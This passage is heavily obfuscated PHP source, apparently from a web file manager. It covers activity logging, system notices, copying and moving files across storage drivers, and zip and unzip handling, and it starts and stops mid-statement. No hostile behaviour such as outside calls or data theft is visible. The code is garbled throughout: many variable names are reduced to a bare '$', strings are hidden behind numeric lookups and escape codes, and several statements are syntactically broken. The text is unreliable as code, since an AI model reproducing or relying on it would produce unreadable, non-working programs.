($ȫ as $Ȣ => $) { $[$[0]] = $[$Ȣ]; } $[$[1850]] = LNG($[2284]); $[$[2279]] = LNG($[2285]); return $; } public function addLog($Ŭ, $ = array()) { $ʥ =& $_SERVER[ﻻ]; if (!isset($this->typeList[$Ŭ])) { return; } $ݿۆ = USER_ID ? USER_ID : (isset($[$ʥ[1678]]) ? $[$ʥ[1678]] : 0); if (!$ݿۆ) { $ݿۆ = (int) Session::get($ʥ[2004]); } if ($Ŭ == $ʥ[2254] && is_array($[$ʥ[2286]]) && !$[$ʥ[2286]]) { return; } $܋ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($ʥ[2287] => $܋); } else { if (is_array($)) { $[$ʥ[2287]] = $܋; } else { $ = array($ʥ[1212] => $, $ʥ[2287] => $܋); } } $ = array($ʥ[1668] => Session::sign(), $ʥ[1669] => $ݿۆ, $ʥ[33] => $Ŭ, $ʥ[1671] => json_encode($)); parent::add($); } public function remove($) { $this->where(array($_SERVER[ﻻ][428] => $))->delete(); } private function _makeOrder($Ѝ = '') { $ᾮ =& $_SERVER[ﻻ]; $ǐ߿ = $ᾮ[201]; $ = array($ᾮ[459] => $ᾮ[460], $ᾮ[461] => $ᾮ[462]); $ = Input::get($ᾮ[467], $ᾮ[7], $ᾮ[2040], array($ᾮ[1958], $ᾮ[461])); $ = $[$]; $Ѝ = $Ѝ . "{$ǐ߿}\40{$}"; return $this->order($Ѝ); } public function get($ٻ = '') { $Ū =& $_SERVER[ﻻ]; if (!$ٻ) { show_json(array()); } $ = array(); if ($ٻ[$Ū[1678]]) { $[$Ū[1678]] = $ٻ[$Ū[1678]]; } if (isset($ٻ[$Ū[773]])) { $߳ = $ٻ[$Ū[773]]; $ = isset($ٻ[$Ū[774]]) ? $ٻ[$Ū[774]] : time(); $[$Ū[201]] = array($Ū[333], array($߳, $)); } if ($ٻ[$Ū[33]]) { $ = explode($Ū[50], $ٻ[$Ū[33]]); $϶ = $this->typeFile(); $ = array(); foreach ($ as $) { $[] = $; if (isset($϶[$])) { $ = array_merge($, $϶[$]); } } $ = array_unique($); if ($) { $[$Ū[33]] = array($Ū[7], $); } } else { $[$Ū[33]] = array($Ū[2288], $Ū[2289]); } if (!empty($ٻ[$Ū[2287]])) { $[$Ū[462]] = array($Ū[383], "\45{$ٻ[$Ū[2287]]}\45"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$Ū[369]])) { show_json(array(), !0, $[$Ū[366]]); } $[$Ū[369]] = $this->logList($[$Ū[369]]); return $; } private function ipAddress(&$) { $Տ =& $_SERVER[ﻻ]; if (!empty($[$Տ[2287]])) { $רʘ = IpLocation::get($[$Տ[2287]]); } else { $רʘ = LNG($Տ[2290]); } $[$Տ[2291]] = $רʘ; } private function descZipDownload($Ͳ, &$) { $뻚 =& $_SERVER[ﻻ]; if (!isset($Ͳ[$뻚[2292]])) { return; } $Ԩٶ = json_decode($Ͳ[$뻚[2292]], !0); foreach ($Ԩٶ as $) { try { $ = IO::infoFull($[$뻚[84]]); } catch (Exception $) { continue; } $Ͳ[$뻚[84]] = $[$뻚[84]]; $[] = $Ͳ[$뻚[411]] = $[$뻚[411]]; $[] = $Ͳ[$뻚[2094]] = $[$뻚[441]]; break; } return $Ͳ; } private function getSourceList(&$) { $ǎ =& $_SERVER[ﻻ]; $ = array(); foreach ($ as $ => $) { $쟠ʯ = json_decode($[$ǎ[462]], !0); if ($[$ǎ[33]] == $ǎ[1841]) { $쟠ʯ = $this->descZipDownload($쟠ʯ, $); $[$][$ǎ[462]] = json_encode($쟠ʯ); continue; } if (strpos($[$ǎ[33]], $ǎ[2096]) !== 0) { if (!isset($쟠ʯ[$ǎ[84]]) || strpos($[$ǎ[33]], $ǎ[2293]) !== 0) { continue; } try { $߸ = IO::infoFull($쟠ʯ[$ǎ[84]]); } catch (Exception $) { continue; } $[] = $쟠ʯ[$ǎ[411]] = $߸[$ǎ[411]]; $[] = $쟠ʯ[$ǎ[2094]] = $߸[$ǎ[441]]; $[$][$ǎ[462]] = json_encode($쟠ʯ); continue; } $[] = $쟠ʯ[$ǎ[411]]; $[] = $쟠ʯ[$ǎ[2094]]; if ($쟠ʯ[$ǎ[33]] == $ǎ[557]) { $[] = $쟠ʯ[$ǎ[462]][$ǎ[1170]]; $[] = $쟠ʯ[$ǎ[462]][$ǎ[1171]]; } if ($쟠ʯ[$ǎ[33]] == $ǎ[2104]) { $[] = $쟠ʯ[$ǎ[462]][$ǎ[411]]; } } if (!$) { return array(); } return Model($ǎ[838])->sourceListInfo($, !0); } private function logList($ƽ) { $ =& $_SERVER[ﻻ]; $ȵ = array_to_keyvalue($ƽ, $[12], $[1678]); $ط = Model($[534])->userListInfo(array_unique($ȵ)); $ = $this->getSourceList($ƽ); $Ř = $this->typeAll(); $ = array(); $ҷ = array(); foreach ($ƽ as $הȲ => $) { $ = $[$[33]]; $ҏ = isset($ط[$[$[1678]]]) ? $ط[$[$[1678]]] : !1; $ = strpos($, $[2294]) === 0 ? LNG($[2295]) : LNG($[2290]); $[$[32]] = isset($ҏ[$[32]]) ? $ҏ[$[32]] : LNG($[2290]); $[$[541]] = isset($ҏ[$[541]]) ? $ҏ[$[541]] : $[12]; $[$[1576]] = isset($Ř[$]) ? $Ř[$] : $; $[$[2039]] = $ҏ; $ = json_decode($[$[462]], !0); $[$[2287]] = isset($[$[2287]]) ? $[$[2287]] : $[12]; $[$[2291]] = IpLocation::get($[$[2287]]); if (strpos($, $[2096]) === 0 || isset($[$[2094]])) { $[$[87]] = $[$[$[411]]]; $[$[2109]] = $[$[$[2094]]]; if ($[$[33]] == $[557]) { $[$[462]][$[1170]] = $[$[$[462]][$[1170]]]; $[$[462]][$[1171]] = $[$[$[462]][$[1171]]]; } if ($[$[33]] == $[2104]) { $[$[462]][$[411]] = $[$[$[462]][$[411]]]; } if ($[$[33]] == $[1836]) { $[$[2109]] = $[$[87]]; $[$[2094]] = $[$[2109]][$[411]]; $[$[87]] = !1; $[$[411]] = $[12]; } if ($[$[87]] && $[$[87]][$[420]] == $[1294]) { $ҷ[] = $[$[399]]; unset($ƽ[$הȲ]); continue; } if ($[$[2109]] && $[$[2109]][$[420]] == $[1294]) { $ҷ[] = $[$[399]]; unset($ƽ[$הȲ]); continue; } } $[$[462]] = $; unset($[$[2296]]); $[] = $; } $this->clearSystemPathLog($ҷ); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[ﻻ]; if (count($) == 0) { return; } $粟 = array($[399] => array($[7], array_unique($))); $this->where($粟)->delete(); } public function deviceList($, $ = 0) { $ơ =& $_SERVER[ﻻ]; $ = array($ơ[1678] => $, $ơ[201] => array($ơ[1024], $), $ơ[33] => $ơ[1810]); $ = array(); $ɒ = $this->field($ơ[2297])->where($)->order($ơ[2107])->limit(50)->select(); foreach ($ɒ as $푓 => $) { if ($푓 > 0 && abs($[$ơ[201]] - $ɒ[$푓 - 1][$ơ[201]]) < 5) { continue; } $ = json_decode($[$ơ[462]], !0); $[$ơ[2287]] = isset($[$ơ[2287]]) ? $[$ơ[2287]] : $ơ[12]; unset($[$ơ[2287]]); $ˑ֞ = $this->deviceType($[$ơ[2097]]); if (isset($[$ˑ֞])) { continue; } $[$ơ[2291]] = IpLocation::get($[$ơ[2287]]); $[$ơ[462]] = $; $[$ˑ֞] = $; } return array_values($); } public function deviceType($ӛ) { return $ӛ; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\x6d\56\x6e\x6f\x74\x69\143\145\114\151\x73\x74"; public $field = array("\156\x61\155\x65", "\143\157\x6e\x74\x65\156\164", "\141\165\x74\150", "\x6d\157\144\x65", "\164\x69\x6d\x65", "\x74\x79\x70\x65", "\154\145\x76\145\x6c", "\x65\156\x61\x62\x6c\145", "\x73\x6f\x72\164"); public function listData($ = false, $ = "\163\x6f\162\x74", $Қ = false) { return parent::listData($, $, $Қ); } public function add($) { $ऱ =& $_SERVER[ﻻ]; $ை = time(); if ($[$ऱ[16]] == $ऱ[2298]) { $ை = strtotime($[$ऱ[180]]); } $[$ऱ[180]] = $ை; return parent::insert($); } public function update($, $ȱ) { $ =& $_SERVER[ﻻ]; $ = $this->listData($); if (!$) { return !1; } $ܶς = time(); if ($ȱ[$[16]] == $[2298]) { $ܶς = strtotime($ȱ[$[180]]); } $ȱ[$[180]] = $ܶς; return parent::update($, $ȱ); } public function remove($ד) { $ٍܔ = $this->listData($ד); if (!$ٍܔ || $ٍܔ[$_SERVER[ﻻ][1294]]) { return !1; } return parent::remove($ד); } public function sort($, $Ϡ) { return parent::update($, $Ϡ); } public function enable($ګͪ, $͍ր) { return parent::update($ګͪ, array($_SERVER[ﻻ][2299] => $͍ր)); } private function initUserOption() { $Ҏʖ =& $_SERVER[ﻻ]; $this->optionType = $Ҏʖ[2300]; $this->modelType = $Ҏʖ[2301]; $this->field = array($Ҏʖ[2302], $Ҏʖ[32], $Ҏʖ[180], $Ҏʖ[33], $Ҏʖ[2303], $Ҏʖ[762], $Ҏʖ[196]); } public function userNoticeGet($ِ = false) { $this->initUserOption(); return parent::listData($ِ, $_SERVER[ﻻ][399], !0); } public function userNoticeAdd($) { $ =& $_SERVER[ﻻ]; $this->initUserOption(); $ = $this->findByKey($[2302], $[$[399]]); if ($) { return !0; } $͟ = array($[2302] => $[$[399]], $[32] => $[$[32]], $[180] => $[$[180]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2303] => isset($[$[2303]]) ? $[$[2303]] : 0, $[762] => 0, $[196] => 0); return parent::insert($͟); } public function userNoticeEdit($, $ˡ) { $this->initUserOption(); return parent::update($, $ˡ); } } goto cݦڅ; E: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($Ј, $) { $ =& $_SERVER[ﻻ]; $ = $; $GLOBALS[$[1156]] = $[1157] . $Ј; Hook::trigger($[1157] . $Ј . $[1158], $); $ǩ = self::driverMake($[0]); if (!$ǩ) { return !1; } if (method_exists($ǩ, $Ј)) { $׳ = @call_user_func_array(array($ǩ, $Ј), $); } else { if (method_exists($ǩ, $[1159])) { $׳ = @call_user_func_array(array($ǩ, $Ј), $); } else { if (method_exists(self, $Ј)) { $׳ = @call_user_func_array(array(self, $Ј), $); } else { $׳ = call_user_func_array(array(parent, $Ј), $); } } } Hook::trigger($[1157] . $Ј . $[1160], $, $׳); return $׳; } public static function init($ϒ) { return self::driverMake($ϒ); } public static function copy($럋, $, $ֆ = false, $ = false) { return self::copyMoveStart($럋, $, $ֆ, $_SERVER[ﻻ][555], $); } public static function move($芌, $۱, $ꘂ = false, $Ɣ = false) { return self::copyMoveStart($芌, $۱, $ꘂ, $_SERVER[ﻻ][557], $Ɣ); } private static function copyMoveStart($, $ɿ, $ښ, $, $ኌ) { $ =& $_SERVER[ﻻ]; $ = array($, $ɿ, $ښ, $ኌ); Hook::trigger($[1157] . $ . $[1158], $); $ = self::copyMove($, $ɿ, $ښ, $, $ኌ); Hook::trigger($[1157] . $ . $[1160], $, $); return $; } public static function saveFile($, $ݱ, $ = true) { $ͤՍ =& $_SERVER[ﻻ]; $Ǿ = self::info($ݱ); $伅 = self::driverMake($); $ώ = self::driverMake($ݱ); $ = !1; if ($ώ->pathParse[$ͤՍ[1161]]) { $ = $ώ; $ = $ώ->pathParse[$ͤՍ[1161]]; $ώ = self::driverMake($); } if ($伅->pathParse[$ͤՍ[1161]]) { $ = $伅->pathParse[$ͤՍ[1161]]; $伅 = self::driverMake($); } $ = $ώ->pathFather($ݱ); $ = !0; if (!$ && self::driverIsSame($伅, $ώ)) { $ = !1; } $ە = self::copyFile($伅, $, $ώ, $, $Ǿ[$ͤՍ[32]], $); if ($) { $ە = $->getPathOuter($ە); } return $ە; } private static function copyMove($Ἃ, $, $ǵ, $, $ = false) { $ =& $_SERVER[ﻻ]; if (!$Ἃ || $Ἃ == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($Ἃ); $ = self::driverMake($); $ȶ = $ == $[557]; $ = !1; if ($->pathParse[$[1161]]) { $ = $; $ = $->pathParse[$[1161]]; $ = self::driverMake($); } if ($->pathParse[$[1161]]) { $Ἃ = $->pathParse[$[1161]]; $ = self::driverMake($Ἃ); } self::check($, $Ἃ, $, $); Hook::trigger($[1162], $, $Ἃ, $, $); $ܿ֙ = self::driverIsSame($, $); if ($ܿ֙) { if ($ == $[557] && !method_exists($, $[1163]) && trim($, $[8]) == trim($->pathFather($Ἃ), $[8])) { if ($->pathThis($Ἃ) != $ && !$->isTypeObject()) { return $->rename($Ἃ, $); } return $->getPathOuter($Ἃ); } if (method_exists($, $)) { return $->{$}($Ἃ, $, $ǵ, $); } } if ($ܿ֙ && $ == $[557] && $->getType() == $[106]) { $ఋ = $->movePath($Ἃ, $, $); if ($ఋ) { return $ఋ; } } $ = $->isFile($Ἃ); if (!$ && $->getType() == $[770] && $->getType() == $[106]) { $ఋ = $->copyFolderFromIO($, $Ἃ, $, $ǵ, $ȶ, $); } else { $ఋ = self::copyPath($, $Ἃ, $, $, $ǵ, $ȶ, $, $); } if ($ఋ && $ȶ) { $->remove($Ἃ); } if ($) { $ఋ = $->getPathOuter($ఋ); } return $ఋ; } private static function check($, $ʆ, $ޕ, &$ㄐب) { $ =& $_SERVER[ﻻ]; if (self::driverIsSame($, $ޕ) && $->isFolder($ʆ) && $->isParentOf($ʆ, $ㄐب)) { show_json(LNG($[1164]), !1); } if (!$->exist($ʆ)) { show_json(LNG($[105]), !1); } } private static function copyPath($, $, $, $, $, $, $, $Ƅ = false, $ = true) { $ =& $_SERVER[ﻻ]; $ = empty($Ƅ) && $Ƅ !== $[198] ? $->pathThis($) : $Ƅ; if ($) { $Ƣ = $->fileNameExist($, $); $ڤԆ = $; $ = $->fileNameAuto($, $, $, !$); if (!$Ƣ || $ڤԆ != $) { $ = !1; } if ($ && !$) { $->_data[$[1165]] = !0; } } if ($) { return self::copyFile($, $, $, $, $, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ = rtrim($, $[8]) . $[8] . $; $Đ = $->mkdir($->getPath($), $); $ = $->getPathInner($Đ); $㫤 = $->listPath($, !0); $㫤 = is_array($㫤) ? $㫤 : array($[83] => array(), $[82] => array()); $ = array_merge($㫤[$[83]], $㫤[$[82]]); foreach ($ as $) { $ = $[$[33]] == $[200]; $ = $->getPathInner($[$[84]]); $ = self::copyPath($, $, $, $, $, $, $, !1, !1); if (!$) { IO::errorTips($[1166] . $ . $[70] . $); } } self::copyMoveKeepInfo($, $, $Đ); return $Đ; } private static function copyFile($Ј, $㜤, $, $Ϲ, $, $ҷ) { $ =& $_SERVER[ﻻ]; $Ϲ = $->getPath(rtrim($Ϲ, $[8]) . $[8] . $); $э = $[1167] . time() . rand_string(5); Hook::trigger($[1168], $Ј, $㜤, $, $Ϲ, $, $э); if (self::driverIsSame($Ј, $)) { if ($ҷ) { $̊ = $->moveFile($㜤, $Ϲ); } else { $̊ = $->copyFile($㜤, $Ϲ); } Hook::trigger($[1169], $Ј, $㜤, $, $Ϲ, $, $̊); self::copyMoveKeepInfo($Ј, $㜤, $̊); return $̊; } $џ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[809]]) { $џ = $GLOBALS[$[6]][$[89]][$[809]]; } $żѻ = $џ; mk_dir($żѻ); $ = $żѻ . $э; $攭Ȧ = $; $ = $Ј->download($㜤, $); $ = $Ј->iconvApp($); if (substr($, strlen($џ)) == $џ) { $ҷ = !0; } $̊ = $->upload($Ϲ, $, $ҷ); self::remove($攭Ȧ); Hook::trigger($[1169], $Ј, $㜤, $, $Ϲ, $, $̊); self::copyMoveKeepInfo($Ј, $㜤, $̊); return $̊; } private static function copyMoveKeepInfo($, $±, $ىՍ) { if (!$ىՍ) { return; } $ = $->info($±); if (!is_array($)) { return; } IO::setModifyTime($ىՍ, $[$_SERVER[ﻻ][85]]); } public static function pathFather($) { $ = IO::init($); $۪ = $->pathFather($->path); return $->getPathOuter($۪); } public static function fileOut($, $Ε = false, $ = false, $ = '') { $Թ = self::driverMake($); if ($Թ->isFileOutServer()) { return $Թ->fileOutServer($, $Ε, $, $); } return $Թ->fileOut($, $Ε, $, $); } public static function fileOutImage($, $Ү = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($); $++) { if ($ == 0 && $Ү <= $[$]) { $Ү = $[$]; break; } else { if ($Ү > $[$ - 1] && $Ү <= $[$]) { $Ү = $[$]; break; } else { if ($ == count($) - 1 && $Ү > $[$]) { $Ү = $[$]; break; } } } } $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutImageServer($, $Ү); } return $->fileOutImage($, $Ү); } private static function driverIsSame($ް, $) { $ =& $_SERVER[ﻻ]; $ח = $ް->getType(); $̕ = $->getType(); if ($ח != $̕) { return !1; } if ($ח == $[770]) { return !0; } if ($ח == $[106]) { return !0; } if ($ް->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $) { $ݘ =& $_SERVER[ﻻ]; if (!IO::exist($)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $щ = array_to_keyvalue(self::listAllSimple($), $ݘ[84]); $˄ = array_to_keyvalue(self::listAllSimple($), $ݘ[84]); $봧 = array(); $Ԛ = array(); foreach ($щ as $ۑ؛ => $۳) { if (isset($˄[$ۑ؛])) { if ($۳[$ݘ[75]] == 1) { continue; } if ($˄[$ۑ؛][$ݘ[76]] == $۳[$ݘ[76]]) { continue; } } if ($۳[$ݘ[75]] == 1) { $Ԛ[] = $ . $ݘ[8] . trim($ۑ؛, $ݘ[8]); continue; } $պ = strstr(trim($ۑ؛, $ݘ[8]), $ݘ[8]) ? get_path_father($ۑ؛) : $ݘ[12]; $봧[] = array($ݘ[1170] => $۳[$ݘ[86]], $ݘ[1171] => rtrim($, $ݘ[8]) . $ݘ[8] . $պ, $ݘ[1172] => $۳); } $ = array($ݘ[200] => $봧, $ݘ[75] => $Ԛ); Hook::trigger($ݘ[1173], $, $, $); foreach ($Ԛ as $۳) { IO::mkdir($۳); } foreach ($봧 as $۳) { IO::copy($۳[$ݘ[1170]], $۳[$ݘ[1171]], REPEAT_REPLACE); } } public static function fileSubstr($, $ە, $ = false) { $ =& $_SERVER[ﻻ]; $ߝ = self::driverMake($); $ = $ߝ->size($); $ = $ە; $ګżƨ = $; if ($ە < 0) { $ە = $ + $ە; } if ($ === !1) { $ = $ - $ە; } if ($ە + $ > $) { $ = $ - $ە; } if (!$ && $ߝ->getType() == $[106] && !$ߝ->exist($)) { $ = get_path_this($); $۔ = parse_url_query($); if (is_array($۔) && isset($۔[$[32]])) { $ = urldecode($۔[$[32]]); } throw new Exception($[1174] . LNG($[1175]) . $[976] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($ە < 0 || $ە >= $ || $ > 1024 * 1024 * 10) { throw new Exception("\x66\151\x6c\x65\122\x65\x61\144\x20\145\162\x72\x6f\x72\41\x20\x73\x74\x61\x72\x74\x3d{$ە}\x3b\x6c\145\156\147\x74\150\x3d{$}\73\40\163\x69\x7a\145\75{$}\73"); } $ئ = $ߝ->fileSubstr($, $ە, $); if (!$ئ && $ && isset($GLOBALS[$[1176]])) { throw new Exception($GLOBALS[$[1176]][$[1177]]); } return $ئ; } private static function driverMake(&$) { $ =& $_SERVER[ﻻ]; $ʀ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($[780])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $[399]); } if ($ʀ[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ʀ[$[399]]]) { return !1; } $ = $ʀ[$[1178]]; $Ъ = self::driverGet($ʀ, $); return $Ъ; } private static function driverGet($Ą, &$큪) { $ݸ =& $_SERVER[ﻻ]; $핲 = $Ą[$ݸ[1179]]; $µ = $Ą[$ݸ[399]]; switch ($Ą[$ݸ[33]]) { case KodIO::KOD_IO: $ڌҙ = self::$driverListSystem[$µ]; break; case KodIO::KOD_SOURCE: $큪 = $µ . $큪; $ڌҙ = array($ݸ[1180] => $ݸ[1181], $ݸ[6] => $Ą); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $Ҹ = $GLOBALS[$ݸ[1182]]; self::$driverListUser = array_to_keyvalue($Ҹ, $ݸ[399]); } $ڌҙ = self::$driverListUser[$µ]; break; case KodIO::KOD_SHARE_LINK: $ڌҙ = array($ݸ[1180] => $ݸ[1183], $ݸ[6] => $Ą); $慝 = Action($ݸ[1184])->sharePathInfo($Ą[$ݸ[84]]); $큪 = $慝[$ݸ[411]]; if (!$慝[$ݸ[411]]) { $ = Model($ݸ[601])->getInfo($慝[$ݸ[602]]); $큪 = KodIO::clear($[$ݸ[1185]] . $Ą[$ݸ[1178]]); $Ą[$ݸ[495]] = $; $Ą[$ݸ[1161]] = $큪; $ڌҙ = array($ݸ[1180] => $ݸ[1186], $ݸ[6] => $Ą); } break; case KodIO::KOD_SHARE_ITEM: $ڌҙ = array($ݸ[1180] => $ݸ[1187], $ݸ[6] => $Ą); $ = Model($ݸ[601])->getInfo($Ą[$ݸ[399]]); if ($[$ݸ[411]] == $ݸ[198]) { $큪 = KodIO::clear($[$ݸ[1185]] . $Ą[$ݸ[1178]]); $Ą[$ݸ[495]] = $; $Ą[$ݸ[1161]] = $큪; $ڌҙ = array($ݸ[1180] => $ݸ[1188], $ݸ[6] => $Ą); } else { if (!$큪) { $큪 = $[$ݸ[411]]; } } break; default: $큪 = $Ą[$ݸ[84]]; $ڌҙ = array($ݸ[1180] => $ݸ[1189]); break; } $ = $Ą[$ݸ[84]]; if (!isset(self::$driverCache[$])) { $ = strtolower($ڌҙ[$ݸ[95]]); $ = $GLOBALS[$ݸ[6]][$ݸ[89]][$ݸ[839]]; $ = $ݸ[74] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { show_json("{$}\x20\x6e\157\164\x20\145\170\151\163\x74\163\41", !1); } $ = isset($ڌҙ[$ݸ[6]]) ? $ڌҙ[$ݸ[6]] : !1; self::$driverCache[$] = new $($); } $ɍְ = self::$driverCache[$]; $ɍְ->pathDriver = $핲; $ɍְ->pathBase = $ݸ[12]; if (isset($ڌҙ[$ݸ[6]][$ݸ[1190]])) { $ɍְ->pathBase = rtrim($ڌҙ[$ݸ[6]][$ݸ[1190]], $ݸ[8]) . $ݸ[8]; $큪 = $ɍְ->pathBase . ltrim($큪, $ݸ[8]); } $큪 = $ɍְ->getPath($큪); if (isset($Ą[$ݸ[1161]])) { $큪 = $Ą[$ݸ[1161]]; } $ɍְ->path = $큪; return $ɍְ; } public static function errorTips($ڟ = false) { $Άӗ =& $_SERVER[ﻻ]; static $ = array(); $Ø = 1000; if ($ڟ === -1) { return $ ? $[count($) - 1] : $Άӗ[12]; } if ($ڟ === !1) { return implode($Άӗ[231], $); } if (count($) >= $Ø) { $ = array_slice($, $Ø * 0.5, $Ø); } $[] = $ڟ; write_log($Άӗ[162] . ACTION . $Άӗ[1191] . $ڟ, $Άӗ[1192]); } public static function getLastError($ = '') { $͚㦪 = self::errorTips(-1); return $͚㦪 ? $͚㦪 : $; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $釆; if ($釆) { return $釆; } $ܚ = IO::init($_SERVER[ﻻ][8]); return $ܚ; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($, $ = "\x7a\151\x70", $ = '', $߷ = REPEAT_RENAME) { $ѡŪ =& $_SERVER[ﻻ]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$ѡŪ[82]], $[$ѡŪ[83]]); return self::zip($, $, $, $߷); } public static function zip($ª, $ = "\x7a\151\x70", $Í = '', $ԅ聮 = REPEAT_RENAME) { $ =& $_SERVER[ﻻ]; if (is_string($ª) && $ª) { $ª = array(array($[84] => $ª)); } $ = self::init($ª[0][$[84]]); $¾ = self::info($ª[0][$[84]]); $Ҹ = $[12]; $ = $[12]; $ = $[12]; if ($Í && substr($Í, -1, 1) != $[8]) { $ = get_path_father($Í); $ = get_path_this($Í); } else { $ = self::pathFather($¾[$[84]]); $ = $¾[$[32]] . $[10] . $; if (count($ª) > 1) { $κ = IO::info($); $ = $κ[$[32]] . $[10] . $; } if ($Í) { $ = $Í; } } if ($->getType() == $[106]) { $ = self::init($); $ӟ܁ = $->getType() == $[106] ? $ : get_path_father($->path); $ӟ܁ = rtrim($ӟ܁, $[8]) . $[8]; mk_dir($ӟ܁); } else { $Ҹ = TEMP_FILES . $[1193] . time() . rand_string(8) . $[8]; mk_dir($Ҹ); file_put_contents($Ҹ . $[1194], $[12]); $ӟ܁ = $Ҹ; } $ = IO::info($ӟ܁); if (!$ || !$[$[203]]) { show_json(LNG($[1195]), !1); } $ = self::zipFileList($ª, $Ҹ); foreach ($ as $۲ => $ɇ) { $[$۲] = self::iconvSystem($ɇ); } $ĵ = get_filename_auto($ӟ܁ . $, $[12], $ԅ聮); KodArchive::create(self::iconvSystem($ĵ), $); if (!IO::exist($ĵ)) { if ($Ҹ) { del_dir($Ҹ); } show_json(LNG($[1196]), !1); } if (!$Ҹ) { return $ĵ; } $ = self::move($ĵ, $, $ԅ聮); if ($Ҹ) { del_dir($Ҹ); } if (!$ĵ) { show_json(LNG($[1196]), !1); } return $; } public static function unzip($, $, $ = "\x2d\x31", $ŗ = "\162\145\160\x6c\x61\x63\145") { $ٷ =& $_SERVER[ﻻ]; $ = parent::info($); if (!$) { show_json(LNG($ٷ[1197]), !1); } $ = IO::infoFull($); if (!$) { $ = IO::mkdir($); } if (isset($[$ٷ[411]]) && trim($[$ٷ[84]], $ٷ[8]) != trim($, $ٷ[8])) { $㔵 = KodIO::make($[$ٷ[441]]); $چ = IO::fileNameAuto($㔵, $[$ٷ[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($㔵 . $چ); } $ = $ && $ != $ٷ[1198] ? @json_decode($, !0) : -1; $ = self::unzipPart($, $); if (!$ || !IO::exist($ [$ٷ[200]])) { show_json(LNG($ٷ[105]), !1); } $狖 = $ [$ٷ[1199]][count($ [$ٷ[1199]]) - 1]; if ($狖[$ٷ[1200]] == -1 || substr($狖[$ٷ[32]], -1, 1) == $ٷ[8]) { $ܲ = $ [$ٷ[1201]] . rand_string(10) . $ٷ[8]; mk_dir($ܲ); $̰ = count($ [$ٷ[1199]]) == 1 ? IO::ext($) : get_path_ext($ [$ٷ[200]]); $Ē = KodArchive::extract(self::iconvSystem($ [$ٷ[200]]), $ܲ, $狖[$ٷ[1200]], $چ, $̰); self::unzipErrorCheck($Ē, array($ٷ[1202], $, $̰, $, $ )); Hook::trigger($ٷ[1203], $ܲ); recursion_dir($ܲ, $ϗ, $Ν, 0); $ = array_merge($ϗ, $Ν); $ñЎ = array(); foreach ($ as $š) { $ = IO::move(self::iconvApp($š), $, $ŗ); if ($) { $ñЎ[] = $; } } del_dir($ܲ); } else { $ = IO::move($ [$ٷ[200]], $, $ŗ, get_path_this($狖[$ٷ[32]])); if ($) { $ñЎ[] = $; } } return $ñЎ ? $ñЎ : !1; } public static function unzipList($) { $ =& $_SERVER[ﻻ]; $ = isset($[$[1204]]) ? $[$[1204]] : !1; $썸 = isset($[$[1200]]) ? @json_decode($[$[1200]], !0) : -1; $֟ = self::unzipPart($[$[84]], $썸); if (!$֟ || !IO::exist($֟[$[200]])) { show_json(LNG($[105]), !1); } $Nj = $֟[$[1199]][count($֟[$[1199]]) - 1]; $ = in_array(IO::ext($֟[$[200]]), array($[313], $[1205], $[1206], $[1207], $[1208], $[1209])); if (!$ && ($Nj[$[1200]] == -1 || $)) { $˩ = $֟[$[1201]] . get_path_this($֟[$[200]]) . $[1210]; if (!IO::exist($˩)) { $ő = $Nj[$[1200]] == -1 ? get_path_ext(IO::pathThis($[$[84]])) : get_path_ext($֟[$[200]]); $Ĭ¿ = KodArchive::listContent(self::iconvSystem($֟[$[200]]), !0, $ő); self::unzipErrorCheck($Ĭ¿, array($[1211], $, $֟)); @file_put_contents($˩, json_encode($Ĭ¿[$[1212]])); } return @json_decode(IO::getContent($˩), !0); } IO::fileOut($֟[$[200]], $, get_path_this($Nj[$[32]])); die; } private static function zipFileList($߱, $ۨ¾ = false) { $ˆ =& $_SERVER[ﻻ]; $بЉ = array(); foreach ($߱ as $ˬߊ) { $ǁ = $ˬߊ[$ˆ[84]]; if ($ۨ¾) { $ǁ = self::copy($ˬߊ[$ˆ[84]], $ۨ¾, $ˆ[831]); } else { $ = self::init($ˬߊ[$ˆ[84]]); if ($->getType() == $ˆ[106]) { $ǁ = $->path; } } if ($ǁ && self::local()->exist($ǁ)) { $بЉ[$ˬߊ[$ˆ[84]]] = $ǁ; } } if (!empty($بЉ)) { return array_values($بЉ); } show_json(LNG($ˆ[1175]), !1); } private static function localFilePath($) { $и =& $_SERVER[ﻻ]; $ = KodIO::parse($); if ($[$и[33]] == KodIO::KOD_SOURCE) { $ = Model($и[838])->fileInfoGet(KodIO::sourceID($)); if (!$[$и[84]]) { show_json($и[1213], !1); } $ = $[$и[84]]; } $ = self::init($); if ($->pathParse[$и[1161]]) { $ = $->pathParse[$и[1161]]; $ = self::init($); } $ = $->getType(); if ($ == $и[106] || $ == $и[1214]) { if (!$->exist($->path)) { show_json(LNG($и[105]), !1); } return $->path; } return !1; } public static function unzipPart($, $ܫ = -1) { $ =& $_SERVER[ﻻ]; $˗ = IO::pathThis($); if (!$ܫ || $ܫ == -1) { $Ǎ҆ = array(array($[32] => $˗, $[1200] => -1)); $Ǎ҆[0][$[1215]] = $Ǎ҆[0][$[32]]; } else { if (is_array($ܫ)) { $Ǎ҆ = $ܫ; $ = count($Ǎ҆) - 1; for ($ = 0; $ <= $; $++) { $ 